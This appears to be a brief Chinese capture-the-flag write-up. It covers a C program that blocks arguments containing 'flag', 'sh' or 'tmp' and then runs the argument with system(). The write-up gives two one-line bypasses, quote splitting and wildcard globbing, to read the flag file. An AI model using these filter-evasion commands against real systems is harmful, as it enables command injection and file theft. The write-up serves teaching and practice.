很有趣的一道题

```
3
4   int filter(char* cmd){
5       int r=0;
6       r += strstr(cmd, "flag")!=0;
7       r += strstr(cmd, "sh")!=0;
8       r += strstr(cmd, "tmp")!=0;
9       return r;
0   }
1   int main(int argc, char* argv[], char** envp){
2       putenv("PATH=/thankyouverymuch");
3       if(filter(argv[1])) return 0;
4       system( argv[1] );
5       return 0;
6   }
```

这个环境变量不知道是干吗用的
但是filter函数的作用很明显，就是过滤掉带有“flag”“sh”“tmp”字符串的输入
如果没有，会调用system函数来执行它

这时候有两种办法：
1、字符串拼接

```
./cmd1 "/bin/cat 'fl''ag'"
```

2、匹配

```
./cmd1 "bin/cat fl*"
```

都能拿到flag